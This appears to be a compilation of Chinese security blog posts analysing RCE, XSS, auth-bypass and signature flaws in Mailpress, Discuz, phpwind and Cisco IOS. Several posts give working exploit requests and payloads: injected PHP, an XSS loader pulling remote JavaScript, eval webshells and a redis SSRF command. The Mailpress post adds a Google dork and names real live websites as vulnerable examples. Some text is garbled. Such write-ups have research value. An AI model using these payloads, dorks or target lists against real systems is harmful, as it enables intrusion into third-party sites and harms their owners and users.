WordPress Mailpress Remote Code Execution

0x00 introduction

Mailpress是一个比较流行的邮件插件。
Plugin Directory:https://wordpress.org/plugins/mailpress/
官网:http://blog.mailpress.org

0x01 漏洞简述

Mailpress存在越权调用,在不登陆的情况下,可以调用系统某些方法,可以造成远程命令执行。

0x02 漏洞详细

文件:
mailpress\mp-includes\action.php

<?php
//
include(‘../../../../wp-load.php’);
//
include(‘../../../../wp-admin/includes/admin.php’);
//
new MP_Actions();
转到:
mailpress\mp-includes\class\MP_Actions.class.php

即可以调用 MP_Actions.class.php 文件中任意方法。
其中:
autosave方法是添加邮件内容

我们来重点看看

public static function iview()
{
$mp_general = get_option(MailPress::option_name_general);

$id = $_GET[‘id’];
$main_id = (isset($_GET[‘main_id’])) ? $_GET[‘main_id’] : $id;

$mail = MP_Mail::get($id);

$theme = (isset($_GET[‘theme’]) && !empty($_GET[‘theme’])) ? $_GET[‘theme’] : (!empty($mail->theme) ? $mail->theme : false);
$mp_user_id = (isset($_GET[‘mp_user_id’]) && !empty($_GET[‘mp_user_id’])) ? $_GET[‘mp_user_id’] : false;

// from
$from = (!empty($mail->fromemail)) ? MP_Mail::display_toemail($mail->fromemail, $mail->fromname) : MP_Mail::display_toemail($mp_general[‘fromemail’], $mp_general[‘fromname’]);
// to
$to = MP_Mail::display_toemail($mail->toemail, $mail->toname, ”, $mp_user_id);
// subject
$x = new MP_Mail();
$subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);
$subject = $x->viewsubject($subject, $id, $main_id, $mp_user_id);
// template
$template = (in_array($mail->status, array(‘sent’, ‘archived’))) ? false : apply_filters(‘MailPress_draft_template’, false, $main_id);

// content
$args = array();
$args[‘action’] = ‘viewadmin’;
foreach(array(‘id’, ‘main_id’, ‘theme’, ‘template’, ‘mp_user_id’) as $x) if ($$x) $args[$x] = $$x;

foreach(array(‘html’, ‘plaintext’) as $type)
{
$args[‘type’] = $type;
if (!empty($mail->{$type})) $$type = “<iframe id=’i{$type}’ style=’width:100%;border:0;height:550px’ src=’” . esc_url(add_query_arg( $args, MP_Action_url )) . “‘></iframe>”;
}

// attachements
$attachements = ”;
$metas = MP_Mail_meta::has( $args[‘main_id’], ‘_MailPress_attached_file’);
if ($metas) foreach($metas as $meta) $attachements .= “<tr><td>&#160;” . MP_Mail::get_attachement_link($meta, $mail->status) . “</td></tr>”;
$view = true;
include(MP_ABSPATH . ‘mp-includes/html/mail.php’);
}

注意到代码:

$subject = (in_array($mail->status, array(‘sent’, ‘archived’))) ? $mail->subject : $x->do_eval($mail->subject);

转到 do_eval

function do_eval($x)
{
$x = ‘global $posts, $post, $wp_did_header, $wp_did_template_redirect, $wp_query, $wp_rewrite, $wpdb, $wp_version, $wp, $id, $comment, $user_ID; ?>’ . “\n $x”;
ob_start();
echo(eval($x));
$r = ob_get_contents();
ob_end_clean();
return $r;
}

 

因此,subject参数造成远程命令执行

0x03 漏洞利用

http://127.0.0.1/wordpress/wp-content/plugins/mailpress/mp-includes/action.php
POST
action=autosave&id=0&revision=-1&toemail=&toname=&fromemail=&fromname=&to_list=1&Theme=&subject=<?php phpinfo();?>&html=&plaintext=&mail_format=standard&autosave=1

 

image1

 

shell 地址
http://127.0.0.1/wordpress/wp-content/plugins/mailpress/mp-includes/action.php?action=iview&id=5image2

0x04 effect:

image3

0x05 google hack:

allinurl:plugins/mailpress

0x06 example:

http://www.climbsf.com

http://www.abll.org

http://en.grandevreuxtourisme.fr

http://www.digicult.co.uk

http://www.boardinghouse.ca

http://tletl.cahttp://maracatu.org.br

http://www.ville-emploi.asso.fr

http://thefairwaysbar.ie

http://cancouncil.org

http://blog.mailpress.org

http://www.communitydevelopmentalliancescotland.org

Multiple Vulnerabilities in ntpd (April 2015) Affecting Cisco Products(CVE-2015-1798分析)

CVE-2015-1798分析

Multiple Vulnerabilities in ntpd (April 2015) Affecting Cisco Products

漏洞链接:http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20150408-ntpd
从CISCO固件中提取c7200-adventerprisek9-mz.152-4.M8中提取C7200-AD.BIN文件,并把e_machine标记为0x08(MIPS指令)。
我们先看一下官方描述,可以知道是在NTP封包数据中处理中出现了问题。

1

我们首先找到我们要分析的关键函数ntp_receive,开始代码逆向。如果利用ntp.org的代码进行修改,整个过程就会变得事半功倍。尤其在数据结构方面,对代码逆向起到至关重要的作用。

2

逆向完成后,我们对比代码,发现主要区别在这个位置:

3

我们再来看一下汇编代码:

4

红色方框中的代码不相同,紫色方框中的代码的相同。

我们再来对比一下NTP.ORG的官方源代码(4.2.8p1和4.2.8p2):

5

当我们构造数据包的时候,把MAC数据去掉,也可以通过验证。

Fuzzing,从精通到重新入门 (一)

0、序
Fuzzing是一种成本低廉但高效的漏洞挖掘技术。这种技术最早来源于何处已不易考,但在最近几年应用的范围非常广泛,特别是随着一些成熟的自动化工具,例如grinder等的陆续开源,大量没有反汇编基础的脚本小子也陆续加入了漏洞发掘的大军中,并一跃成为所谓业界大牛。因为工作需要,上级领导交代下来了寻找漏洞的任务,笔者于是乎暂时抛开了手中的焊枪,试图通过实践和笔记的方式带你一起揭开国内外知名安全厂商华人大牛的成功之路。

1、目标与硬件
Fuzzing技术应用最广泛的领域往往也是测试门槛最低的领域,例如微软产品中,Internet Explorer(以下简称IE)和内核一向是CVE数量集中爆发点。鉴于内核的复杂程度远远不能比拟浏览器,笔者因此选择了IE作为浏览器作为测试目标。纵观各类浏览器,外部来看都是对HTML和JavaScript等的解析与支持,内部而言也都有建立DOM树和渲染等一整套机制,这方面的共性表明,一个合格的fuzzer应该涵盖不同的浏览器。综合以上原因,笔者同时选择了主流的四种浏览器作为fuzzing对象,它们分别是Internet Explorer,Chrome,Safari和FireFox。可能有人说FireFox已经死了,Safari脑子有问题的才用,笔者只能表示倘若放着浏览器不fuzz的话,除了诗和远方,连情怀都一并丢掉了。
除了浏览器,大规模杀伤性fuzzing的CVE中似乎还混进了些奇怪的东西,这就是漏洞辈出的Flash。为了保证fuzzing的多样性和完整性,作为浏览器的有益补充,笔者经过深思熟虑最终还是将Flash纳入了fuzzing的实践范围。
硬件系统而言,由于Safari的存在,最便宜的似乎只能选择MacMini,也就是最低配置3488软妹币一台……太贵了。一个创业公司,括号连凳子家具都是淘的二手那种,正确的选择必须是二手服务器。在经过多方论证后,笔者终于发现,多核服务器加上足够的内存可以完美运行各类虚拟机,这样硬件也决定下来,统统是PC服务器,型号配置一致还有一个好处,装windows可以不用每台机器都去激活,拷贝过来就能用。
IE、FF、Chrome、Safari加上不要钱的Flash,十台服务器,万事俱备。
还缺一个,服务器里的虚拟机可以挂,收集结果的服务器不能挂,另外买台二手台式机,配个GTX970前台玩屁股先锋,后台收集结果足够了。

2、虚拟机安装
废话笔者就不多说了,服务器上安装ubuntu并将QEMU/kvm更新到最新版本,辅助工具libvirt之类酌情安装。IE版本众多,XP对应IE8,Vista对应IE9,Win2012(注意不是r2)对应IE10,Win7对应IE11,Win7不小心升级后对应Edge(请忽略这个没人用的版本)。此外,Chrome不支持XP,所以请在Win7安装Chrome。FireFox不挑食,XP下运行顺利。Flash随便装哪里都可以。安装过程颇为乏味,打补丁更是慢得一比,诸君同笔者一样多多忍耐吧。
免费附送一些有用的命令行:

qemu-img create massivefuzzing00.img 2G
sudo qemu-system-x86_64 -hda ~/massivefuzzing00.img -m 2048 -vnc :1
sudo virt-install –name tigon00 –ram 2048 –vcpus=1 –disk path=massivefuzzing00.img –os-variant=winxp –accelerate –graphic vnc,listen=0.0.0.0,port=8888,password=1233211234567 –cdrom /dev/null –force

慢着,漏了个Safari哦。这个虚拟机安装略微复杂一些,限于篇幅这里就不多说了,需要安装的版本是10.9.5,因为10.10或者10.11目前装在虚拟机上会出现和女乔丹胸部一样大的问题.你需要做的是首先去百度OS X的镜像文件,接下来的安装过程耗费20G左右的虚拟磁盘,另外还要一个叫enoch_rev2795_boot的东西,当然软件更新也是必不可少的一步。总而言之这些都做完后,虚拟机就算是安装完毕了。将虚拟机激活,然后通过网络拷贝到不同的服务器上测试下是否正常运行。之所以说这句话是因为Ubuntu16下偶尔会出现各种想不到的问题,倘若Windows虚拟机无法正常使用,请换Ubuntu14下测试。
每台服务器都测试一下是必要的,随后的fuzzing可能会因为软件更新而频繁更新硬盘镜像文件,多余的时间一定不能耗费到兼容性与反复激活的琐事上。记住,人机分离十米自动报警,不不不,我是说,跑得快不一定赢,不跌跟头才是成功。

待续。待我把党章抄完,下次再补上osx虚拟机安装和启动的命令行。

discuz!2.x-3.x后台非创始人远程代码执行漏洞分析

0x00 前言

discuz!2.x-3.x存在一个默认系统插件,存在代码注入。既然是插件,那么不开启情况下需要创始人开启吧?怎么不需要创始人权限了?下面我们来看看,这是一个比较有意思的漏洞。

0x01 漏洞分析

soso_smilies插件从dz2.0到最新版本一直存在。我们来直接看看漏洞代码:

source/plugin/soso_smilies/soso.class.php

�0�2�0�2�0�2 function discuzcode($param) {
global $_G;
if($param[‘caller’] == ‘discuzcode’) {
$smileyoff = $param[‘param’][1];
$allowsmilies = $param[‘param’][4];
$pid = $param[‘param’][12];
if(!$smileyoff && $allowsmilies && strpos($_G[‘discuzcodemessage’], ‘{:soso_’) !== false) {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].’”, “‘.$pid.’”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);
}
} else {
$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/”, ”, $_G[‘discuzcodemessage’]);
}
}

注意到:

$_G[‘discuzcodemessage’] = preg_replace(“/\{\:soso_((e\d+)|(_\d+_\d))\:\}/e”, ‘$this->_soso_smiles(“\\1”, “‘.$_G[‘setting’][‘maxsmilies’].’”, “‘.$pid.’”)’, $_G[‘discuzcodemessage’], $_G[‘setting’][‘maxsmilies’]);

preg_replace 的 /e 参数,\\1中的双引号,当然问题不是出现在这里,因为前面正则只能是数字,而数字是不能组成代码注入。但注意到后面参数$_G[‘setting’][‘maxsmilies’],这个是配置,后台是否可以通过更改配置来造成命令执行呢?答案是可行的。

0x02 漏洞利用

后台有较多的配置,使普通管理员就能更改$_G[‘setting’][‘maxsmilies’]值,从而实现命令执行,可如果这个插件不开启呢?(默认不开启),管理插件需要创始人权限呀!非也,我们来看看开启插件的方法。发现除了后台创始人外,还有manyou的地方。

\source\plugin\manyou\Service\App.php

�0�2�0�2�0�2 function setPluginAvailable($identifier, $available) {
$available = intval($available);
$plugin = C::t(‘common_plugin’)->fetch_by_identifier($identifier);
if(!$plugin || !$plugin[‘pluginid’]) {
throw new Cloud_Service_AppException(‘Cloud plugin: ‘ . $identifier . ‘ not exists!’, 51108);
}
C::t(‘common_plugin’)->update($plugin[‘pluginid’], array(‘available’ => $available));
return true;
}

而manyou插件有没有开启,取决于值$_G[‘setting’][‘siteuniqueid’]

下面我们来说说利用过程吧!

先激活soso_smilies插件,如已激活,可以略过前面几步,直接跳到最后拿shell

全局 �0�3 域名设置
通过修改表单更新配置(有权限有设置修改表单的地方也行)
siteuniqueid
my_sitekey
my_siteid

image001

 

提交后,配置的值已被更改。

image002

开启插件:

<?php
$my_sitekey=”123456″;
$my_siteid=”9999″;
$apps=array(‘smilies’=>’normal’);
$params[apps]=$apps;
echo serialize($params);
die(md5(‘Cloud|SetApps|’ . serialize($params) . ‘|’ . $my_sitekey));
?>
http://localhost/Discuz_X2_SC_UTF8/upload/api/manyou/my.php
POST
module=Cloud&method=SetApps&params=a:1:{s:4:”apps”;a:1:{s:7:”smilies”;s:6:”normal”;}}&sign=3700828a41be69d741a53887cff552a6

image003

发现插件已经可以用了。

image004

更改变量值maxsmilies

image005

这时,在发贴处加入表情,就能执行(注:代码中1{${phpinfo()}}前面 1 是必须的)

image006

 

0x03 后话

这个漏洞比较有意思的是接口方面的问题,其实那个问题可以更严重些,有面有机会再说说。

phpwind8.x某可getshell漏洞

0x00 前言

漏洞已经通知了官方(http://www.wooyun.org/bugs/wooyun-2016-0220049),官方也已经出了补丁(http://www.phpwind.net/read/3709782)

0x01 帖子正文xss

在文件
require/bbscode.php

function convert($message,$allow,$type="post"){
......
	$searcharray = array(
		"/\[font=([^\[\(&\\;]+?)\]/is",
		"/\[color=([#0-9a-z]{1,15})\]/is",
		"/\[backcolor=([#0-9a-z]{1,10})\]/is",
		"/\[email=([^\[]*)\]([^\[]*)\[\/email\]/is",
	    "/\[email\]([^\[]*)\[\/email\]/is",
		"/\[size=(\d+)\]/eis",
		"/\[align=(left|center|right|justify)\]/is",
		"/\[glow=(\d+)\,([0-9a-zA-Z]+?)\,(\d+)\](.+?)\[\/glow\]/is"
	);
	$replacearray = array(
		"<font face=\"\\1 \">",
		"<span style=\"color:\\1 \">",
		"<span style=\"background-color:\\1 \">",
		"<a href=\"mailto:\\1 \">\\2</a>",
		"<a href=\"mailto:\\1 \">\\1</a>",
		"size('\\1','$allow[size]')",
		"<div align=\"\\1\">",
		"<div style=\"width:\\1px;filter:glow(color=\\2,strength=\\3);\">\\4</div>"
	);
	$message = preg_replace($searcharray,$replacearray,$message);
......
}

可以看到 [font=(x)] (x) 不含 [(&\;
生成 html
<font face=”(x)”>
[email](y)[/email] (y) 不含 [
生成 html
<a href=”mailto:(y) “>(y)</a>
因此可以将 [font=(x)] 和 [email](y)[/email] 结合
生成

<a href="mailto:<font face="(x)"> "> <font face="(x)"> </a>

其中 (x) 不包含 [(&\; 组成 xss

这里的 xss 有些技巧,就是属性中不使用 [(&\; 组成可以触发的xss

[email] [font= onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d=] xxxx[/font]  [/email]

生成

<a href="mailto: <font face=" onmouseover=location=/javascript:alert%28%22xss%22%29%3b/.source  id=xxxxxx d= "> xxxx</font>  

onmouseover 时触发
要做到隐藏,并且管理员打开就触发,即需要更多技巧
利用系统原生css样式,class=pImg_bg

.pImg_bg {
    background: none repeat scroll 0 0 #000;
    bottom: 0;
    height: 100%;
    left: 0;
    opacity: 0.5;
    position: absolute;
    right: 0;
    top: 0;
    width: 100%;
    z-index: 1001;
}

挡着整个页面,即一打开即触发js。

整个引入js为

[email] [font= onmouseover=location=/javascript:document.getElementById%28%22xxxxxx%22%29.style.display=%27none%27%3bvar%20b%3Ddocument.createElement%28%22script%22%29%3Bb.src%3D%22http%3A%2F%2F192.168.160.175:8080%2fxxxx.js%3F%22%2BMath.random%28%29%3B%28document.getElementsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3Bwindow.onerror%3Dfunction%28%29%7Breturn%20false%3B%7D%3Bxxx%3B/.source class=pImg_bg id=xxxxxx d=] xxxx[/font] [/email]

从而引入外部js 192.168.160.175:8080/xxxx.js
(大家可以研究下,效果要js不触发url转跳,和影响页面效果,兼容各种浏览器等。)

0x02 后台getshell

从这里可以看到
http://wooyun.org/bugs/wooyun-2015-0153249
只修复了前台可能的getshell,但没有访问后台添加用户
/hack/bank/index.php

if (!$bk_per || $timestamp - pwFilemtime(D_P."data/bbscache/bank_sort.php") > $bk_per*3600) {
		$_DESPOSTDB = array();
		$query = $db->query("SELECT i.uid,m.username,i.deposit,i.startdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY i.deposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['deposit']) {
				$deposit['startdate'] = $deposit['startdate'] ? get_date($deposit['startdate']) : '';
				$_DESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['deposit'], $deposit['startdate']);
			}
		}
		$_DDESPOSTDB = array();
		$query = $db->query("SELECT i.uid,username,ddeposit,dstartdate FROM pw_memberinfo i LEFT JOIN pw_members m ON m.uid=i.uid ORDER BY ddeposit DESC ".S::sqlLimit($bk_num));
		while ($deposit = $db->fetch_array($query)) {
			if ($deposit['ddeposit']) {
				$deposit['username'] = str_replace (  array ("\\",'&',' ',"'",'"','/','*',',','<','>','#','%','?',' ','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), array ('..', '&', ' ', ''','"','/','*',',','<','>','#','%','?','�6�9','..','$','{','}','(',')','+','=','-','[',']','|','!','@','^','.','~','`'), $deposit['username'] );
				$deposit['dstartdate'] = $deposit['dstartdate'] ? get_date($deposit['dstartdate']) : '';
				$_DDESPOSTDB[] = array($deposit['uid'],$deposit['username'],$deposit['ddeposit'], $deposit['dstartdate']);
			}
		}
		$wirtedb = savearray('_DESPOSTDB',$_DESPOSTDB);
		$wirtedb.= "\n".savearray('_DDESPOSTDB',$_DDESPOSTDB);
		pwCache::writeover(D_P.'data/bbscache/bank_sort.php',"<?php\r\n".$wirtedb.'?>');
function savearray($name,$array) {
	$arraydb="\$$name=array(\r\n\t\t";
	foreach ($array as $value1) {
		$arraydb .= 'array(';
		foreach ($value1 as $value2) {
			$arraydb .= '"'.addslashes($value2).'",';
		}
		$arraydb .= "),\r\n\t\t";
	}
	$arraydb .= ");\r\n";
	return $arraydb;
}

可以看到 $_DESPOSTDB 的 username 没有过滤
我们可以通过csrf操控管理员在后台添加带有危险代码的帐号,并且通过设置用户金钱,使之排在列表中。
这里还要绕过一个问题,用户名只能15位,最短的代码执行代码
${@eval($xxxx)}
$xxxx可控变量为5位。
此变更不能GET\POST等带入呀。
但注意到
/hack/bank/admin.php

} elseif($action=="unsubmit"){
	S::gp(array('config'),'P');
	if(!is_numeric($config['open'])) $config['open']=1;
	if(!is_numeric($config['virement'])) $config['virement']=0;
	if(!is_numeric($config['timelimit'])) $config['timelimit']=60;
	if(!is_numeric($config['virelimit'])) $config['virelimit']=500;
	if(!is_numeric($config['virerate'])) $config['virerate']=10;
	if(!is_numeric($config['rate'])) $config['rate']=1;
	if(!is_numeric($config['drate'])) $config['drate']=1;
	if(!is_numeric($config['ddate'])) $config['ddate']=12;
	foreach($config as $key=>$value){
		$rt = $db->get_one("SELECT * FROM pw_hack WHERE hk_name=".S::sqlEscape("bk_$key"));
		if($rt){
			$db->update("UPDATE pw_hack SET hk_value=".S::sqlEscape($value)."WHERE hk_name=".S::sqlEscape("bk_$key"));
		} else{
			$db->update("INSERT INTO pw_hack SET hk_name=".S::sqlEscape("bk_$key").",hk_value=".S::sqlEscape($value));
		}
	}
	updatecache_bk();

可以设置插件时,通过添加 config[v]=code,方式,生成全局变量 $bk_v ,因此命令执行可成。

6

0x03 编写js脚本、执行起来

效果如下

密码 phpwindwooyuna123

0x04 留个问题

新的补丁是否有效?

discuzx某远程命令执行漏洞分析

0x00 简介

Discuz! X是康盛公司(Comsenz)推出的一个以社区为基础的专业建站平台,让论坛(BBS)、社交网络(SNS)、门户(Portal)、群组(Group)、开放平台(Open Platform)应用充分融合于一体,帮助网站实现一站式服务。

0x01 前言

漏洞详细已经通过乌云提交给官方。(http://www.wooyun.org/bugs/wooyun-2016-0214429、http://www.wooyun.org/bugs/wooyun-2016-0213982)

0x02 漏洞简述

discuz!X 支持多种缓存方式,如:文件缓存(基本不用)、数据缓存(默认方式)、第三方缓存(memcache、redis)。通常较高访问量的系统会采用第三方缓存的方式,即使用memcache、redis等方式。而memcache、redis等通用情况下会安装到本地,即127.0.0.1,并且大多数情况下没有身份验证。结合discuz!X 自身存在的ssrf,即可能存在命令执行(本漏洞针对的是discuz!X本身,而非ssrf)。

0x03 漏洞详细

当discuz设置使用缓存后,初始化时会把缓存内容加进全局变量 $_G

source\class\discuz\discuz_application.php

private function _init_setting() {
		if($this->init_setting) {
			if(empty($this->var['setting'])) {
				$this->cachelist[] = 'setting';
			}

			if(empty($this->var['style'])) {
				$this->cachelist[] = 'style_default';
			}
			if(!isset($this->var['cache']['cronnextrun'])) {
				$this->cachelist[] = 'cronnextrun';
			}
		}
		!empty($this->cachelist) && loadcache($this->cachelist);
		if(!is_array($this->var['setting'])) {
			$this->var['setting'] = array();
		}
	}

而在调用缓存的地方

source\function\function_core.php

function output_replace($content) {
	global $_G;
	if(defined('IN_MODCP') || defined('IN_ADMINCP')) return $content;
	if(!empty($_G['setting']['output']['str']['search'])) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['str']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['str']['replace']);
		}
		$content = str_replace($_G['setting']['output']['str']['search'], $_G['setting']['output']['str']['replace'], $content);
	}
	if(!empty($_G['setting']['output']['preg']['search']) && (empty($_G['setting']['rewriteguest']) || empty($_G['uid']))) {
		if(empty($_G['setting']['domain']['app']['default'])) {
			$_G['setting']['output']['preg']['search'] = str_replace('\{CURHOST\}', preg_quote($_G['siteurl'], '/'), $_G['setting']['output']['preg']['search']);
			$_G['setting']['output']['preg']['replace'] = str_replace('{CURHOST}', $_G['siteurl'], $_G['setting']['output']['preg']['replace']);
		}
		$content = preg_replace($_G['setting']['output']['preg']['search'], $_G['setting']['output']['preg']['replace'], $content);
	}
	return $content;
}

可以看出

$_G[‘setting’][‘output’][‘preg’][‘search’], $_G[‘setting’][‘output’][‘preg’][‘replace’]

这两个缓存可控,因此通过更改缓存内容就可以造成getshell。

而更改缓存内容,需要利用dz的ssrf,而dz并没有注重ssrf,如前一个�0�2WooYun: Discuz!另一处SSRF无须登陆无须条件�0�2,好像也没有修复,并且还存在其它ssrf等。

现在主要是缓存前辍的问题,下面来看看如何绕过。

0x04 漏洞利用

memcache 的利用可以参考�0�2WooYun: bilibili某分站从信息泄露到ssrf再到命令执行�0�2,不过前提条件是知道prefix,所以我们来说说redis。

redis 从2.6开始就支持lua命令,并且key可以模糊查找,因此,我们可以通过下面方式来重设缓存值。

eval "local t=redis.call('keys','*_setting');for i,v in ipairs(t) do redis.call('set',v,'aaaa') end;return 1;" 0

设置方式不需要知道key前辍就能更改。

因为我们只需要通过ssrf更改$_G[‘setting’][‘output’][‘preg’][‘search’] 和 $_G[‘setting’][‘output’][‘preg’][‘replace’]的值,就能达到命令执行的目的。

默认情况下,discuz 的ssrf会调用curl请求,因此会支持gopher或dict协议,而这两条协议对于redis的值设置已经足够了。

通过设置(测试代码,实际中是能过ssrf对内容进行更改)

$a['output']['preg']['search']['plugins'] = "/.*/e";
$a['output']['preg']['replace']['plugins'] = 'ev/*aliyun真牛B*/al($_POST[x]);';
$setting = serialize($a);
$redis = new Redis();
$redis->connect('127.0.0.1', 6379);
$redis->set("xx_setting",$setting);

访问 http://127.0.0.1/forum.php?mod=ajax&inajax=yes&action=getthreadtypes

即是shell的地址。

整个过程中不需要注册用户,
需要条件如下:
1、本机安装了redis(>2.6),discuz设置了本机的redis缓存
2、系统支持php-curl(默认情况下都是支持的)
达到这两个条件就可以了。

0x05 漏洞案例

bilibili某分站从信息泄露到ssrf再到命令执行

金蝶某系统存在远程命令执行

优酷某程序存在远程命令执行

电视猫某应用远程命令执行

 

0x06 漏洞相关阅读

vBulletin rce 0day分析(http://drops.wooyun.org/papers/8261)

Cisco IOS and IOS XE Software SSH Version 2 RSA-Based User Authentication Bypass Vulnerability CVE-2015-6280分析

CVE-2015-6280分析

Cisco IOS and IOS XE Software SSH Version 2 RSA-Based User Authentication Bypass Vulnerability

漏洞链接:�0�2CVE-2015-6280

从CISCO固件c880data-universalk9-mz.SPA.154-3.M2.bin中提取C880DATA.BIN文件,并把e_machine标记为0x14(PowerPC指令)。

我们从官方公告可以知道,想要成功利用这个漏洞,必须知道一个使用了RSA-base 私钥认证的SSHv2的正确用户名和Publickey,否则是不能利用成功。

为了更好的分析这个漏洞,我们先来看看SSHv2的验证过程:

SSHv2验证阶段 客户端 服务器端
密钥交换部分
用户认证部分 SSH2_MSG_SERVICE_REQUEST
用户认证部分 SSH2_MSG_SERVICE_ACCEPT
用户认证部分 SSH2_MSG_USERAUTH_REQUEST none
用户认证部分 SSH2_MSG_USERAUTH_FAILURE
用户认证部分 SSH2_MSG_USERAUTH_REQUEST publickey, have_sig=false
用户认证部分 SSH2_MSG_USERAUTH_PK_OK
用户认证部分 �0�2SSH2_MSG_USERAUTH_REQUEST�0�2 publickey, have_sig=true
SSH2_MSG_USERAUTH_SUCCESS
通道通讯部分

根据公告描述,攻击者必须有正确的用户名以及正确的公钥,可以推测问题出现在第二次(也就是最后一次签名部分)SSH2_MSG_USERAUTH_REQUEST。

接下来,我们去找来OpenSSH源代码和固件一起进行对比分析,这会让我们事半功倍。

 

1

 

我们跳过密钥交换部分(ssh_kex2),直接从验证部分开始分析(ssh_userauth2)。根据最后验证成功的条件,我们进行逆向推理,更容易找到问题,因此从SSH2_MSG_USERAUTH_SUCCESS这个成功封包开始逆向分析。我们从固件中看到如下代码:

 

2

 

 

我们可以看到这个地方就是验证通过后,最后的服务器数据封包。我们往上面回溯。

3

 

 

关键函数在do_pubkey函数, 只要这个函数返回1就可以验证通过。

 

4

 

这段代码对应openssh源代码的send_pubkey_test阶段:

 

 

5

 

在公告中,官方已经明确指出需要正确的用户名和对应的publickey。也就是_pubkey_verify这个函数必须通过。紧接着的部分就是响应服务器的SSH2_MSG_USERAUTH_PK_OK封包(客户端处理参考input_userauth_pk_ok函数),也就是带有签名的SSH2_MSG_USERAUTH_REQUEST,即sign_and_send_pubkey函数

 

6

 

7

 

看这两处的代码,service比较失败,会断开连接,并返回retcode=3; 但当method比较失败的时候,并没有改变retcode的值,也就是前面_publickey_verify的返回结果1,而且,服务器也不主动断开连接。问题就是出在这儿,我们继续看_Exit_with_Cleanup出的代码:

 

8

 

这儿我们就可以看到我们如果method方法不同,我们仍然可以返回1。

 

9

 

 

分析到这儿,就发现和我们最开始分析的对应起来了。我们就知道我们该如何构造我们的PoC代码了。
最后看一下利用成功后的调试信息:

10

phpwind9.x的Md5 Padding Extension漏洞分析

0x00 前言

这是一个比较有意思的漏洞,漏洞已经在乌云网上提交(http://www.wooyun.org/bugs/wooyun-2016-0210850),官方也已经发布了补丁(http://www.phpwind.net/read/3709549),并且安全研究员phithon也第一时间发出了他的漏洞分析https://www.leavesongs.com/PENETRATION/phpwind-hash-length-extension-attack.html,其实内容基本一致,不过关键还是在于如何直接GetShell上。不以GetShell为目的的代码审计都是耍流氓。

0x01 简介

phpwind是采用PHP+MySQL方式运行的开源社区程序。轻架构,高效率简易开发,助你快速搭建并轻松管理社区站点。面向移动互联网应用需求,PW还提供移动社区客户端,把社区站点从PC迁移到手机,实现应用、数据融合互通,一站式多终端服务,确保用户体验自然过渡。

0x02 某接口

windidserver在有$secretkey的情况下是可以做很多事情的,包括操作用户的所有信息,更改配置等。

1

前面也存在过漏洞 http://www.wooyun.org/bugs/wooyun-2014-072727 不过新版本修复了。

0x03 接口验证缺陷

windidserver 接口的验证代码如下:

/src/applications/windidserver/api/controller/OpenBaseController.php

public  function beforeAction($handlerAdapter) {
  parent::beforeAction($handlerAdapter);
  $charset = 'utf-8';
  $_windidkey = $this->getInput('windidkey', 'get');
  $_time = (int)$this->getInput('time', 'get');
  $_clientid = (int)$this->getInput('clientid', 'get');
  if (!$_time || !$_clientid) $this->output(WindidError::FAIL);
  $clent = $this->_getAppDs()->getApp($_clientid);
  if (!$clent) $this->output(WindidError::FAIL);

  if (WindidUtility::appKey($clent['id'], $_time, $clent['secretkey'], $this->getRequest()->getGet(null), $this->getRequest()->getPost()) != $_windidkey)  $this->output(WindidError::FAIL);
  
  $time = Pw::getTime();
  if ($time - $_time > 1200) $this->output(WindidError::TIMEOUT);
  $this->appid = $_clientid;
 }

跟进 WindidUtility::appKey
/src/windid/service/base/WindidUtility.php

 public static function appKey($apiId, $time, $secretkey, $get, $post) {
  // 注意这里需要加上__data,因为下面的buildRequest()里加了。
  $array = array('windidkey', 'clientid', 'time', '_json', 'jcallback', 'csrf_token',
        'Filename', 'Upload', 'token', '__data');
  $str = '';
  ksort($get);
  ksort($post);
  foreach ($get AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  foreach ($post AS $k=>$v) {
   if (in_array($k, $array)) continue;
   $str .=$k.$v;
  }
  return md5(md5($apiId.'||'.$secretkey).$time.$str);
 }

简单看起来,好像验证非常完美,请求的所有GET,POST都加入 secretkey 签名中,除非得到secretkey,不然好像也没什么可能绕过的样子。

我们再来细致分析下,$apiId可知,$time也可以从URL中获取,而$str,是GET,POST参数形成,在某种情况下也是可以知道的,可以控制的。当然暴力破解$secretkey基本不现实。
但再细看,签名中密码长度是可以知道的

2

这不是可以存在md5 padding 么?

0x04 查找利用点

虽然缺陷存在,但存在和能利用完全是两回事。于是查找所有调用 WindidUtility::appKey 的地方

3

看来调用的地方着实不多呀,我们能获取已知加密后签名windidkey的地方好像只有

4

上传头像的地方,而且这个地方普通注册用户就可以获取到。
我们再来看看

$key = WindidUtility::appKey($appId, $time, $appKey, array('uid'=>$uid, 'type'=>'flash', 'm'=>'api', 'a'=>'doAvatar', 'c'=>'avatar'), array('uid'=>'undefined'));

GET 参数有
array(‘uid’=>$uid, ‘type’=>’flash’, ‘m’=>’api’, ‘a’=>’doAvatar’, ‘c’=>’avatar’)
POST
array(‘uid’=>’undefined’)
经过参数排序后,加密$str即为:
adoAvatarcavatarmapitypeflashuid2uidundefined

即头像上传页面中
http://127.0.0.1/index.php?m=profile&c=avatar&_left=avatar

